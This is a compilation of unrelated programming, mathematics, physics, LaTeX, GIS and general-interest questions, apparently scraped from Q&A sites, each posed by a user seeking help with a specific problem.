Bash : date -d throws "invalid date" when date is parameterized

When I parameterize the date in the code as :  str_last_log_date="2017-07-24" last_log_date=$(date -d '${str_last_log_date}' +%s) threshold_days_ago=$(date -d 'now - 2 days' +%s) echo "last_log_date ${last_log_date}  thres_days_ago ${threshold_days_ago}"   Gives the error :     date: invalid date ‘${str_last_log_date}’    last_log_date thres_days_ago 1500969455   But if I don't parameterize the date and pass directly, it gives the correct result :   last_log_date=$(date -d '2017-07-24' +%s) threshold_days_ago=$(date -d 'now - 2 days' +%s) echo "last_log_date ${last_log_date}  thres_days_ago ${threshold_days_ago}"      last_log_date 1500854400  thres_days_ago 1500969511   Any tips?


Can someone explain to me this error of the Desmos graphic calculator? Why ? For other values of $x$, the exact value of $f(x)$ is obtained.  Or am I wrong when I assure that $f(\sqrt2)=0$?


How can I find a file whose name includes a given string, such as "abcde"?

Within a set of directories, how do I find a file whose name includes a given string, such as "abcde"?


A few months ago I asked where the details of a custom toolbar were located with a view to restoring a backup. With the assistance of Psycogeek I got to the bottom of it.  I offer you the batch scripts which solved the problem.


When Jedi lose parts of their body, does their midi-chlorian count and strength in the Force diminish?

From what I understand, midi-chlorian count is a strong indicator of ability in the Force (though there are other factors as well). So it seems like when Anakin loses his arm or Luke loses his hand, their midi-chlorian counts (and thus their Force ability) should slightly diminish.  Is this the case?


Is OS X Mountain Lion a pure UNIX-based OS?  Some tutorials say that it is a Unix-like OS, but after version 10.5, all Mac operating systems are based on pure UNIX.  Is this true?


What performance differences are there when installing with Wubi?

I know that Wubi is slower in disk IO, but I can't find anything about it online other than vague statements such as "slightly slower disk seeks".  Has anyone done any benchmarks to quantify the speed difference?


Is there any advantage to using a function expression in JavaScript?

I've been searching for two days straight but can't find the answer. Is there any advantage to using a function expression over a function declaration?  The book I'm reading (Head First JavaScript) introduces function expressions and the explanation sounds to me like it's identical to a function declaration, but then it goes on to say that they are "subtly different" -- but doesn't explain the difference!  The ONLY difference I have been able to find is that you risk getting an error when using an expression if you call the function before defining it but not if you use a declaration (due to hoisting). Declaration, 1. Expression, 0.  However, from what I understand, a declaration creates a variable using the function's name and stores a reference to the function in that variable.  Using an expression, you store a reference to an anonymous function in the variable of your choice.  If that's the case, then aren't these two examples identical in every way except the aforementioned risk of an error when using an expression due to hoisting?  Declaration:  function myFunction(name) {     alert("Hello " + name); }   Expression:  var myFunction = function(name) {     alert("Hello " + name);     }   I can call the either one with:  myFunction("John");   I can also assign either one to a different variable and then call that variable so the following would be valid in either case:  var myFunctionDammit = myFunction; myFunctionDammit("Steve");   I can't figure out why you would EVER create a function expression when the only difference I can find is actually a disadvantage.  What situations would warrant an expression and why? What is considered best practice? Should I get into the habit of using one over the other?  There is a similar question () but most of the answers there focus on addressing the technical difference (hoisting) but fails to explain WHY I would ever want to choose a function expression over declaration. Either that or I am simply failing to understand the answers.  Can someone lay it out in simple terms a beginner would understand?


Distribution of a quadratic form, non-central chi-squared distribution

Definition. Suppose $\mathbf{y} \sim \mathcal{N}(\boldsymbol{\mu}, I_{n \times  n})$.      Then $$w = \mathbf{y}^{T}\mathbf{y} = \|\mathbf{y}\|^2 \sim \chi^{2}_{n}\left(\theta = \|\boldsymbol{\mu}\|^2/2 =\boldsymbol{\mu}^{T}\boldsymbol{\mu}/2 \right)\text{,}$$   i.e., the $\chi^2$ distribution with $n$ degrees of freedom and   noncentrality parameter $\theta$.   I am trying to (at the very least) find a proof of the following theorem:     Theorem. Suppose $\Sigma$ is a $n \times n$ positive definite and symmetric matrix, $A$ is a $n \times n$ symmetric matrix with rank $m$, and $(A\Sigma)^2 = A\Sigma$.      Then $\mathbf{y} \sim \mathcal{N}(\boldsymbol{\mu}, \Sigma) \implies \mathbf{y}^{T}A\mathbf{y} \sim \chi^2_m\left(\boldsymbol{\mu}^{T}A\boldsymbol{\mu}/2\right)\text{.}$   I don't see how this definition works. In my eyes, to even make the definition I gave above work with the theorem, we would have to "split" $A$ into powers of $1/2$ (whatever this means), i.e., look at $(A^{1/2}\mathbf{y})^TA^{1/2}\mathbf{y}$, unless I'm really missing something here.  This is just me doing self-reading, so any sources or anyone that can help me with a proof of this would be appreciated.


Prove that for all $n \ge 1$:  $$\sum_{k=1}^n \frac{1}{k(k+1)} = \frac{n}{n+1}$$  What I have done currently:  Proved that theorem holds for the base case where n=1.  Then:  Assume that $P(n)$ is true. Now to prove that $P(n+1)$ is true:  $$\sum_{k=1}^{n+1} \frac{1}{k(k+1)} = \frac{n}{n+1} + n+1$$  So: $$\sum_{k=1}^{n+1} \frac{1}{k(k+1)} = \frac{n+1}{n+2}$$  However, how do I proceed from here?


I am currently using csvsimple to include some external data in a document processed with pdfLaTeX. The entire project uses UTF-8 as encoding. The original data is maintained in an Excel 2010 file, and since Excel does not support exporting to UTF-8 CSV directly, I have to go through a rather cumbersome process:   export to CSV  open with Notepad save from notepad, changing the encoding   This process adds a  to the CSV file - 0xef 0xbb 0xbf. On my Windows desktop, this does not seem to be a problem, but the CI build on a Linux box breaks down with Missing \endcsname inserted.. Is there a way to tell csvsimple to ignore the BOM or do I have to edit it out before the compilation starts?  Related:


I am using lightning:input for autocomplete (ui:inputText doesn't really work here correctly as it doesn't update value until you remove focus from field):                  <lightning:input                       label=" "                       placeholder="Opportunity or Project"                       name="myname"                       onchange="{!c.searchOpportunities}"                       value="{!v.newRecord.opportunity}"/>   However, I do not like the whitespace left above the field. What is the right way to remove it? It's kind of annoying that its required in first place, esp. when we have alternatives like placeholder (I know I know, semantically it's not the same, but in some cases it makes sense to use placeholder).


How can declare & initialize a property in the same statement?

This illustrates what I am trying to accomplish:  public class GridModel : PropertyChangedBase {     public List<string> LeftValue { get; set; }     public List<string> LeftValue = new List<string> { "Alpha", "Beta", "Gamma" };     [...] }   but I am getting an obvious "identifier repeated" error.  Is there a syntax for that? Perhaps with a constant or fixed List?


Can adjectives modify a pronoun like "rich they", "poor you" and "beautiful I"?

I want to modify a pronoun with adjectives like "rich he", "poor they" and "beautiful I". Can I do that?  For example, can I say "I saw rich him driving a supercar", "Poor you can't buy foods enough", "Smart they graduated from a famous university"?


Diffeomorphism between any $S^n$ and a compact Lie group

We know that:  A 1-sphere $S^1$ is diffeomorphic to a $U(1)$ Lie group.  A 2-sphere $S^2$: is it diffeomorphic to any Lie group?  A 3-sphere $S^3$ is diffeomorphic to a $SU(2)$ Lie group.  Do we have $n$-sphere $S^n$ is diffeomorphic to some compact Lie group? If so, what is that Lie group?


Using fetch method from componentDidMount again in different method

I have a method called fetchMovies that I use to get data from an API as soon as the component mounts. What I'm trying to accomplish is to have a Load More movies button that calls the function again if clicked to get more movies, 20 movies at a time. However, I get an error saying that the method is undefined when it's used inside the LoadMoreMovies method. What could be a good way to get around this?  componentDidMount(){         const fetchMovies = async endpoint => {              const isLoadMore = endpoint.search('page');             try{                 const result = await (await fetch(endpoint)).json();                 this.setState(prev => ({                     ...prev,                     movies: isLoadMore !== -1 ? [...prev.movies, ...result.results] : [...result.results],                     heroImage: prev.heroImage || result.results[0],                     currentPage: result.page,                     totalPages: result.total_pages                 }));             } catch(error){                 alert(error);             }         }         console.log('...fetching');         fetchMovies(POPULAR_BASE_URL);         console.log('done fetching...');     }      loadMoreMovies = () => {         const searchEndpoint = `${SEARCH_BASE_URL}${this.state.searchTerm}&page=${this.state.currentPage + 1}`;         const popularEndpoint = `${POPULAR_BASE_URL}&page=${this.state.currentPage + 1}`;          const endpoint = this.state.searchTerm ? searchEndpoint : popularEndpoint;          fetchMovies(endpoint);     }      render(){         const {heroImage, movies, searchTerm, currentPage, totalPages, loading} = this.state;         console.log('rendered');         return(             <React.Fragment>                 {currentPage < totalPages && !loading && (                     <LoadMoreBtn text="Load More" callback={this.loadMoreMovies}/>                 )}             <React.Fragment/>


Consider any two commands.  command 1 and command 2 with this script  SCRIPT   command 1 stop two seconds after execution of first command and then execute the second command command 2   Can we make make a script where a command 2 is to be performed after two seconds after the execution of command 1.  How to achieve the second step?


One dimensional motion - Why does a ball fall back in my hands when I throw it up in a moving bus?

Suppose you are moving in a bus and you throw a ball upwards. Why does it always land in your hand and does not fall behind you? The bus is moving with a uniform velocity in a straight direction.  Now if we consider that the bus is constantly accelerating. Will the ball fall back again in my hands? I think that the answer is no. Why so? Why doesn't the ball retain its acceleration when it retains its original velocity?


Gods are omnipresent in A Song of Ice and Fire, but do they exist?   The old gods have never listened to the Starks' prayers; the only time was when Arya was in Harrenhal and she heard voices. Was it the gods or just an illusion? The sept does not exist for me because the concept is childish (the Mother, the Father..) and never listened. The Lord of Light may or may not listen to his followers.   EDIT : In the part where Stannis throws leeches into the fire and prays to Rh'llor, some of the processes are already engaged:       Walder Frey had been planning to kill Robb before. Can't say for sure when Baelish began planning to kill Joffrey, so this leech is hard to determine. Balon Greyjoy's freak accident (fall off a bridge) is the only incident that didn't seem to be a mortal's influence, and is the most likely candidate for being the work of R'hllor, but we'll never know.


I have searched on this site for about 35 minutes, and I am sure it is a really simple answer and I am probably over-looking it, but I am having trouble figuring out how to center my layout.  It is a simple layout, it has a container div, left div for the menu, and right div for the content. (Here is the CSS for this so far..)  #container {   text-align:center;    width: 960px;    background-color:#FFFFFF;    margin-right:10px;    margin-left:10px;    display:block; } #left {   text-align:;    width:300px;    display:block;    background-color:#FFFFFF;    padding-left:5px;    padding-right:5px; } #right {   text-align:left;    padding-left:10px;    padding-right:10px;    width:620px;    display:block; }   When I save it and open in my browser, the layout is just sitting to the left. What can I add to make it go to the center?  I have tried a few things from other peoples' threads and nothing is working. What am I doing wrong?


Often I need to recall the different \tracing commands; and a couple of times I stumbled on some webpages that worked fine for me; sadly, I didn't keep them, and my searches don't take me there anymore.   So I thought I'd ask about links to where one can read a list of \tracing commands?   For instance,  mentions:  \tracingall \tracingassigns \tracingcommands \tracinggroups \tracingifs \tracinglostchars \tracingmacros \tracingnesting \tracingonline \tracingoutput \tracingpages \tracingparagraphs \tracingrestores \tracingstats \tracingscantokens   .. but, I'm pretty sure there was something like \tracingboxes (and not so sure if there was something like \tracingglues); yet I cannot find any resources mentioning those.


How can I get a Colony to Surrender instead of destroying it?

I am space stage right now and sometimes when I laser or bomb cities on a planet sometimes they will surrender, but other times they will just blow up. This gets annoying when I want to capture a whole planet.  Is there a specific way to make them surrender instead of destroying them? And if so how do I do it?


Let $F$ be a field and $F[x]$ a polynomial ring. Let $p(x)$ be an irreducible polynomial.  Show that $\gcd(p(x),q(x)) = 1\Longrightarrow \exists r(x),s(x)$ such that $r(x)p(x)+s(x)q(x) = 1$.  I know the proof for Bezout's identity for , but this proof uses the notion of absolute value, which cannot be applied to a polynomial ring.   I am thinking about a way to prove the statement: Use the Euclidean algorithm to compute $\gcd(p(x),q(x))$ and show that the result is $1$, and somehow go backwards to obtain $r(x)p(x)+s(x)q(x) = 1$, but it is a bit messy, and I'm not yet able to see it completely.  Please offer some help. If you have some other methods, that would be great, too.


PDF output is different after copying code into new file and compling

I received a code for a CV from a professor of mine, which I intended to replace the information in and use as a template. Here is the code (after I replaced the original information with my own): \documentclass[11pt,a4paper,roman]{moderncv}  % -------------------------------------------------------------------- \moderncvstyle{banking} \moderncvcolor{black} \renewcommand*{\namefont}{\fontsize{23}{1}\mdseries\upshape} \renewcommand*{\titlefont}{\fontsize{23}{1}\mdseries\upshape} \usepackage[scale=0.76]{geometry} \usepackage{amsfonts}  % -------------------------------------------------------------------- \firstname{John} \familyname{Hancock} \title{Curriculum Vitae} \email{example@gmail.com} \phone{(123) 456-789} \address{123 Blue Drive, Albany NY}{USA}{}  %-------------------------------------------------------------------- \begin{document}  \makecvtitle  % -------------------------------------------------------------------- \section{EDUCATION} \vspace{1pt} \cventry{}{}{BSc, ABC, Science University}{2021 (Candidate)}{}     {Thesis title: \textit{Name of thesis} \\ Supervisor: John Doe}{}  \vspace{.7em}    \end{document}  Compiling this file produced an identical format to the original CV my professor sent me. However, I copied the code into a new tab of my editor, saved it as a new file, and compiled again. This time, the output was different (see images 1 and 2). Is there any reason this might be the case? The output in the second image was also produced when compiling the code in another LaTeX editor, so it seems that editing the original .tex file I received is the only way to produce the output I desire. Before and after copying & compiling in new file:


What do you call extended words like ‘Nooooo’?

Is there a word or phrase for this? When you take a word and extend the sound of a letter - usually a vowel - to intensify it. Sometimes you might say Helloooo and stretch out the ‘o’ sound. What is this called?


Current through Capacitor, how is it possible? How does it relate to displacement current?

What my professor is telling us that there is no conduction current through a parallel plate capacitor but the current that is passing through capacitor is the displacement current and this phenomena can be seen in one of the Maxwell's equation. What I know about displacement current is that there is no charge movement in displacement current but I am so confused with that. Can some one explain me the displacement current and how does it work in parallel plate capacitor?


Is a topological space $X$ the colimit of an open cover $\cup U_i$ in this way?

Let $X$ be a topological space space and $X=\cup_{i\in I} U_i$ a covering of $X$ by open subsets $U_i\subseteq X$.     Is it true that   $$ \operatorname{colim}\left(\coprod_{(i,j)\in I\times I} U_i\cap U_j \rightrightarrows\coprod_{i\in I} U_i\right) \cong X $$   where the two maps are the inclusions of either $U_i\cap U_j$ into $U_i$ or $U_i\cap U_j$ into $U_j$? If this is not true in general, is it at least true for $X$ a CW-complex and $\cup_{i=0}^n U_i$ a finite good cover?


I have written several upstart scripts to start transmission-daemon for several users. The script is this:  start on (local-filesystems and net-device-up IFACE=eth0 and runlevel [235]) stop on runlevel [016]  kill timeout 50  respawn  env USER=user env PIDFILE=/var/run/transmission-user.pid  script     DAEMON=$(which transmission-daemon) || exit 0     CONFIGDIR=/home/$USER/.config/transmission-daemon      exec start-stop-daemon --start --quiet --chuid $USER --pidfile $PIDFILE --make-pidfile --exec $DAEMON -- -f --config-dir $CONFIGDIR --logfile $CONFIGDIR/daemon.log end script  post-stop exec rm -f $PIDFILE   I would convert this:  env USER=user env PIDFILE=/var/run/transmission-user.pid   To this:  env USER=user env PIDFILE=/var/run/transmission-$USER.pid   But upstart doesn't allow. I can do it if I move those lines to the script section:  script     USER=user     PIDFILE=/var/run/transmission-$USER.pid     ... end script   But in this case, the PIDFILE, in post-stop section, is empty. Is there any way to do this?


c++ accessing childs method from object stored in array of parent

In my design I have 1 base class and N child class:  class BaseClass {   public:         BaseClass() {}         virtual void execute(int16_t* l_image); }  class ChildClass1: public BaseClass {   public:         ChildClass1() {}         void execute(int16_t* l_image); }  class ChildClass2: public BaseClass {   public:         ChildClass2() {}         void execute(int16_t* l_image); }    int main {      std::vector<std::string> class_names;     // read list of string from file using get_names(), omitted for brevity of the example     class_names = get_names();       std::vector<BaseClass> all_layers;        for (size_t name_idx = 0; name_idx < class_names.size(); name_idx++) {         BaseClass new_layer;         if (class_names[name_idx] == "ChildClass1")            new_layer = ChildClass1();         if (class_names[name_idx] == "ChildClass2")            new_layer = ChildClass2();           all_layers.push_back(new_layer);     }         for (size_t layer_idx = 0; layer_idx < all_layers.size(); layer_idx++) {          all_layers[layer_idx].execute();      } }   I have a std:vector of BaseClass that actually contains instances of differend ChildClassN. Now, if I iterate over the array calling the "execute" method on each object, the BaseClass one is called instead of the child one. How can I call the child method, not knowing which child I do have?  The only thing that i found online is that somehow what I'm doing is a bad design, but I'm not sure what alternatives would I have...  Thanks


I am trying to convert simple vba "with statemnt" to C#. ProductRangeA and B are named ranges. Could someone to give a hint?  With ProductRangeA    myRow= .Rows.Count:     myValue= .Value   End With  With ProductRangeB    myRow= .Columns.Count:     myValue= .Value   End With


Consider the following matrix of harmonic series. $$\begin{pmatrix} 1/1 & 1/2 & \ldots & 1/n \\ 1/2 & 1/3 & \ldots & 1/(n+1) \\ &\ldots& \ldots &\\ 1/n & 1/(n+1) & \ldots & 1/(2n-1) \\ \end{pmatrix}$$ I would like to know the form of its determinant. Or, if the determinant is not easy to express, can one show that it is non-zero?


Sum of the double value is showing wrong result.   public static void main(String[] args) {         Double d =0.0;         d += 300.10;         d += 300.10;         d += 300.10;         d += 600.19;          System.out.println(d);     }   Output is : 1500.4900000000002  Which is incorrect output. If you do addition in excel or normal calculator total value is 1500.49. But why java is adding extra decimal value 00000000002 for double only.  I have tested in Java 1.6 and 1.7 environments and found that if total double value falls in 1000.00 to 2000.00 then extra decimals 00000000001 is showing in java 1.6. But in Java 1.7 total double value falls in 1500.00 to 3000.00 then extra decimals 00000000002.  Why it is behaving for double value in Java?. Can anyone help me on this?  Thanks Vijaya Kumar Rasala IT-Engineer Palair,Khammam,Andhra Pradesh


Is it ever OK to use Environment.TickCountto calculate time spans?  int start = Environment.TickCount; // Do stuff int duration = Environment.TickCount - start; Console.WriteLine("That took " + duration " ms");   Because TickCount is signed and will rollover after 25 days (it takes 50 days to hit all 32 bits, but you have to scrap the signed bit if you want to make any sense of the math), it seems like it's too risky to be useful.   I'm using DateTime.Now instead. Is this the best way to do this?  DateTime start = DateTime.Now; // Do stuff TimeSpan duration = DateTime.Now - start; Console.WriteLine("That took " + duration.TotalMilliseconds + " ms");


Is it necessary to consume energy to perform computation?

As far as I know, today most of the computers are made from semiconductor devices, so the energy consumed all turns into the heat emitted into space.  But I wonder, is it necessary to consume energy to perform computation?   If so, is there a theoretical numerical lower bound of the energy usage ? (I even have no idea about how to measure the amount of "computation") If not, is there a physically-practical Turing-complete model that needs no energy?     edit: Thank @Nathaniel for rapidly answering the question and pointing out it's actually . Also thank @horchler for referring to the  and the related . There are lots of useful information in the comments; thank every one! This whole stuff is really interesting!


Iterable object: Reduce to a single value

Is there a way to reduce an iterable object to a single value? In javascript this can be done like so:    var array = [{num: 1}, {num: 10}, {num: 5}];  var result = array.reduce((cur, val) => val.num > cur ? val.num : cur, 0);      console.log(result);     The above will return the largest number in the array of objects.  Currently in C# I am using a foreach to find the largest item, but is there a built in function similar to the javascript reduce method from above?


Weibull Survival Model with Time Varying Covariates in R

I am trying to run a survival model using the Weibull approach, but the wrinkle is that I have time-varying covariates. I am using the survival package in R. My call is:   output <- survreg(Surv(start, stop, fail) ~ gdppc + [...] + cluster(name), data = mydata, dist="weibull")   which yields the following error:  Error in survreg(Surv(start, stop, fail) ~ gdppclag + :    Invalid survival type   The coxph procedure works fine, but I want to use the weibull.   My first question is: can the Weibull approach account for time-variant covariates? I've looked around at some texts, and I see that the Cox PH approach can be extended to time-variant covariates. It's less clear if the Weibull approach can do it.  Second, if indeed the Weibull can work, what are the packages in R that can process it?


What happens if we throw a dice from same position, with same force, by creating a vacuum environment on earth? Will it be predictable now i.e. will the dice have same results all the time?  If answer to the question is no, I have another question, Why in quantum mechanics we say a particle for example electrons are in two states. We only get a probabilistic value of position, that does not mean, its in two states at a time. The way we see it may be destroying the probabilistic character.


How can I automatically have a node become primary in an Availability Group?

In my environment, I have Db01 and Db02 setup with SQL 2012 AlwaysOn. Db01 is the preferred master as that is where all of the backup jobs reside. Typically, the only time that Db01 is unavailable is during maintenance period of installing Windows Update.   Is there a way to always have Db01 be the primary when it is a member of the cluster? Currently, when Db01 rejoins the cluster after a reboot, it is marked as the secondary, since Db02 has become the primary. I would like to see Db01 join the cluster and then automatically (or via a command executed on startup) be designated primary.  Db01 and Db02 are both set to SYNCHRONOUS_COMMIT and Automatic Failover Mode


Correlation between numerical and categorical data in R

I have a dataset with over 20 variables. Some of them are numerical and some of them are categorical:  C          <- c(4, 8.5, 2, 5, 6) N          <- c(0.4, 0.1, 0.5, 1.2, 1.1) moisture   <- as.factor(cbind("dry","dry","dry","wet","wet")) vegetation <- as.factor(cbind("forest", "wetland", "field", "forest", "wetland")) df         <- data.frame(C,N, moisture,vegetation)   I want to know the pairwise correlation between each of these variables. I found two solutions for this: rcorr() and hetcor(). While rcorr gives me Pearsons's product-moment correlation or Spearman's rho rank correlation including p-values, hetcor() offers me the discrimination into polyserial and polychoric correlations, but no p-values.  I would use rcorr with Pearson which has the advantage of also including p-values, but I am not sure if it qualifies for this sort of data. Can I still talk of correlations in this case or do I need to talk about significance of association? If I use hetcor I seem to gain the advantage of it being applicable for categorical data, but I don't get the p-values.


Are there only finitely many prime ideals in this tensor product?

Let $\phi: A\to B$ be a ring homomorphism and suppose $B$ is finitely generated as an $A$-module. Let $\mathfrak{p}\subseteq A$ be a prime ideal and let $K$ be the field of fractions of $A/\mathfrak{p}$. Is it true that the ring $B\otimes_A K$ has only finitely many prime ideals?   Motivation: I am trying to see why a finite morphism of schemes has finite fibres and I've been able to reduce to this problem (hopefully correctly) but I'm now unsure about how to proceed. I feel as though I'm either missing something totally obvious or else lacking in certain commutative algebra knowledge. Thanks for your help!


Let $f$ be an entire function on $\mathbb{C}$. Let $g(z)=\overline{f(\bar z)}$. Then which of the following is/are true:  $(1)$ If $f(z) \in \mathbb{R} $  $\forall z\in \mathbb {R}$ then $f(z)=g(z)$   $(2)$ If $f(z)\in \mathbb {R} $  $\forall z\in \{z:im(z)=0\} \cup \{z:im(z)=a\}$ for some $a\gt$0 then  $f(z-ia)=f(z+ia)$ $\forall z\in\mathbb {C}$  $(3)$ If $f(z)\in \mathbb {R} $  $\forall z\in \{z:im(z)=0\} \cup \{z:im(z)=a\}$ for some $a\gt$0 then  $f(z+2ia)=f(z)$ $\forall z\in\mathbb {C}$  $(4)$ If $f(z)\in \mathbb {R} $  $\forall z\in \{z:im(z)=0\} \cup \{z:im(z)=a\}$ for some $a\gt$0 then  $f(z+ia)=f(z)$ $\forall z\in\mathbb {C}$  What I have tried so far: For $(1)$ it is easy to see that the set $\{z \in \mathbb{C} : f(z)=g(z)\}$ contains $\mathbb{R}$ and therefore by Identity Theorem, $f(z)=g(z)$.  And for part $(4)$ Take a function $f(z)=e^z$ and then we see that $(4)$ is NOT true.   Am I correct?  But I have no idea how to proceed for $(2)$ & $(3)$?  Any help would be appreciated.


We are supposed to calculate the limit of the integral $\lim_{n\to\infty}\int_0^\pi \frac{\sin nx}{nx}dx$.  What I am currently thinking is this. Since $|\frac{\sin nx}{nx}|<\frac{1}{n}$, we can prove that this converges uniformly and can then use the dominated convergence theorem to shift the limit inside the integral, as in  $\int_0^\pi \lim_{n\to\infty}\frac{\sin nx}{nx}dx = \int_0^\pi \frac{1}{n} \,dx$.  However, I don't think that this is correct. Does someone know the correct way to solve this?


How to let standard user run an application that asks for administrator previleges

I have an application that asks for adminin previleges to run on a user account with standard previleges on a Windows 7 OS. Assuming that there is no way of him knowing the Admin password what would be the best solution to bypass this problem?


I don't want to have a space between my bracket and the default square bracket generate by the package cite. When I write:  (\cite{ref1,ref2})   the result is:     ( [1], [2])   instead of     ([1], [2])   How can I do to remove this space please?


How does instantiating from Interface works?

I've just started studying design patterns. While I was studying " Decorator Pattern " I noticed that we use Interface in order to instantiate an object. I will demonstrate my example by using the decorator pattern. public interface GuitarMets {  public String getDesc(); public double getCost(); }  This is my interface and this interface is implemented by another class that will be used for the creation. And in my main class I have lines like this. public class MainClass {  public static void main(String[] args){      GuitarMets guitar = new Sound(new Guitar());     System.out.println(guitar.getDesc());     System.out.println(guitar.getCost());       } }  So what I could not figure out is that, since we cannot create an object from Interfaces, how we are able to use it in order to instantiate objects from the interface? I hope my question is not weird and finds you well.


Can someone explain in a simple manner that How can we use Quantum entanglement to transfer data instantly when we seperate photons?

So I'm an IT engineer and i just watched a video about Quantum entanglement, that somehow when we split the entangled photons, any change happening to one of them will be reflected to the other one INSTANTLY, and therefore we can use this technology to transfer data from one point to the other instantly, basically even faster than the speed of light because no travel is required so we can even send data without the need of encryption!!   and  China has developed a technology like this too   so since i have 0 knowledge about quantum  physics and this blows my mind, can someone here explain this in a simple manner that how is this possible? and does this mean we can communicate with other planets INSTANTLY no matter how far they are ? doesn't this change everything?  also what is this technology called? where we separate the entangled photons and use them to communicate, basically can you guys also tell where should i start because i want to know everything about this technology, but I'm not sure where to start!


How to specify file format of Split Vector Layer in QGIS

I'm attempting to use the Split Vector Layer tool in QGIS (see screenshot below) in order to separate a larger shapefile into its constituent components by object ID. The tool accomplishes this perfectly, but by default exports everything as a geopackage file.     I instead require these files as shapefiles, not geopackage files. Is there any way to specify within QGIS that I want to export these files as such?


How to design a class that work with indexing operator in c#? I created a class that behaves like a collection public class CustomCollection<T> {     public CustomCollection()     {         Items = new List<T>();     }      private List<T> Items { get; set; }      private T[] A     {         get => Items.ToArray();         set => Items = value.ToList();     }      public void Add(T item)     {         Items.Add(item);     }      public bool Remove(T item)     {         return Items.Remove(item);     } }  Now I want to do something using the array operator to get the values inside it public static class Program {     public static void Main(string[] args)     {         var collection = new ConcurrentCollection<int>();          collection.Add(1);         collection.Add(5);         collection.Add(10);          var item = collection[1]; // <- todo     } }


Allow theorem split in many frames in beamer

How can a theorem-like environment be (automatically) split into multiple frames if the vertical space it needs is not enough in a frame?  In my document preamble I have  \theoremstyle{definition} \newtheorem{exercise}{Exercício}   And a given frame in the document has an exercise environment which does not fit into a single frame. So I want it split in more frames.  Any clues?


Are the confidence intervals and p-value for this risk consistent?

I'm trying to calculate a risk ratio with the following 2x2 contingency table, where the rows are exposure groups and the columns are disease status. The first row of the matrix shows that 1/38 exposed participants developed the disease.                Disease +   Disease -   Total    ----------- ----------- ----------- -------    Exposed             1          37      38     Unexposed          26         120     146     (Example code using R)  library(epitools) study_results <- matrix(c(120, 37, 26, 1), ncol = 2) epitools::riskratio(study_results)   This gives a risk ratio of 0.15 (95% CI 0.02-1.05).   The p-value (null hypothesis is risk ratio = 1) is about 0.01, depending on the method. Why is the p-value clearly lower than 0.05, when the 95% confidence interval crosses 1?


Let $R$ be a commutative unital ring. Is it true that the group of units of $R$ is not isomorphic with the additive group of $R$?

Let $R$ be a commutative ring with unity, and let $R^{\times}$ be the group of units of $R$. Then is it true that $(R,+)$ and $(R^{\times},\ \cdot)$ are not isomorphic as groups ?    I know that the statement is true in general for fields. And it is trivially true for any finite ring (as $|R^{\times}| \le |R|-1<|R|$, so they are not even bijective).  I can show that the groups are not isomorphic whenever $\operatorname{char} R \ne 2$ , but I am unable to deal with $\operatorname{char} R=2$ case ... Please help. Thanks in advance.


How to disable 'Use password for:' when typing in password field?

I have an input:  <input type="password" id="confirmPassoword" autocomplete="off"/>   When I am typing into this input in Google Chrome, I get the message the same as here:    How can I get rid of this?


Permissions to a script in a folder acting weird

I created a script, and I want it to be rwx only by root. All other can only x. What I have now  [root@localhost /]# chmod 755 scripts/ -v mode of 'scripts/' retained as 0755 (rwxr-xr-x) [root@localhost /]# chmod 711 scripts/macchange -v mode of 'scripts/macchange' retained as 0711 (rwx--x--x)   And I think all is good here. If I go with my user I can read the folder content, but not the files. But when I'm trying to exec the script this is what I get  [iron@localhost /]$ ./scripts/macchange  /bin/bash: ./scripts/macchange: Permission denied   What am I doing wrong? If I give my user permission to read it suddenly works.  Explanation why it's different then the possible duplicate: I didn't realize bash needs to read the file to execute it. I thought it's an issue of folder to file permissions.


Cannot log in because of corrupted .bash_profile

I have created a new user account. I can't access it because of a .bash_profile error. How can I repair this type of error?


Why are my server’s emails are going to others’ “unwanted” or “junk” folders?

My email accounts are working properly and my (shared) server IP doesn’t seem to be blacklisted. When sending emails, I do not get any bounce messages. The emails I send all look fine and their content is plain text. They don’t contain any trigger words such as “test.”  Though, it seems like Google Gmail servers have been flagging my emails as “Junk” for a very long time but other providers, such as Yahoo Mail, don’t. Creating more email accounts didn’t help. I have also used email accounts that belonged to different domains.  How can avoid Gmail servers from flagging my emails as “unwanted?”


I tried sudo apt-get install --install-recommends winehq-devel but it shows:   Reading package lists... Done Building dependency tree        Reading state information... Done Unable to locate package winehq-devel


Implication, a necessary condition, a sufficient condition

Taken from elementary mathematics I am little confused as to conversion of below implications:  Q 1.) A necessary condition for Indian team to win a cricket match is that the selection committee selects an all rounder.  Solution: q is necessary for p p: Indian team wins a cricket match q: The selection committee selects an all rounder. if p then q "If the teams wins cricket match then selection committee selects an all rounder"  My Solution: "If the selection committee selects an all rounder then the team wins cricket match."  Q 2.) A sufficient condition for Tara to visit New Delhi is that she goes to the Rashtrapati Bhawan (a building in new delhi). p: Tara goes to the Rashtrapati Bhawan q: She visits New Delhi Solution: If Tara goes to Rashtrapati Bhawan, then she visits new Delhi.  My solution: "If Tara visits New Delhi, then she goes to Rashtrapati Bhawan".  Can anyone please guide me why my solutions are wrong in both the above cases? What am I missing in my logic?


Term for a word that is unintentionally made up of two or more other words?

For example, therapist may be split into the + rapist, neither of which (arguably) has anything to do with the original words.  Another example would be conflagration: con + flag + ration. Or weather: we + at + her.  Note that words like threesome and purebred would not qualify, because the parts are intentional and contribute to the original word's meaning.  It seems to me there might be a word for this, which I would describe as "accidental lexical componentry" — but I'm not sure there is one. And if I do think of one I will be sure to add a supplemental (supple + mental) section (sect + ion) to this question (quest + ion).


How to connect functions in text file to programmed functions in source code?

I am searching how to connect functions written in text file to programmed functions in source code. Here is an example In test.txt I have create_session("azerty", 123, "test.png", "test.yaml", True) launch_session("abc", 695, "file.txt")  In my source code I have def create_session(self, var1: str, var2: int, var3: str, var4: str, var5: boolean) def launch_session(self, var1: str, var2: int, var3: str)  My goal is when I read this file containing "commands" I would like to be able to connect each command to the associated function checking number of parameters and parameters. By example the command name is "totuti" and the correct programmed function "totuti" is executed, if it is not found an error is raised. If my command in text file contains only 4 parameters and the source code programmed function needs 5 parameters, it doesn't work. The same process is executed checking parameters type. My question is : does any package exist to do this ? Is there any way to check parameters type ?


Add object and shadow over a background using the compositor

I am doing an animation with a camera to add 3D elements to it (don't really know what it is called)  As you can see in the picture above, i am trying to use nodes to assemble my shadow, object and background for the final render, but for my shadow, some of the plane is still visible... I tried using a "Dilate/Erate" node to mask the plane but it ends up also hiding the shadow.  Do you guys have any idea on how I can fix this? Thank you


Received two Yearling badges within a week?

How come that I received two Yearling badges within a week (almost)?


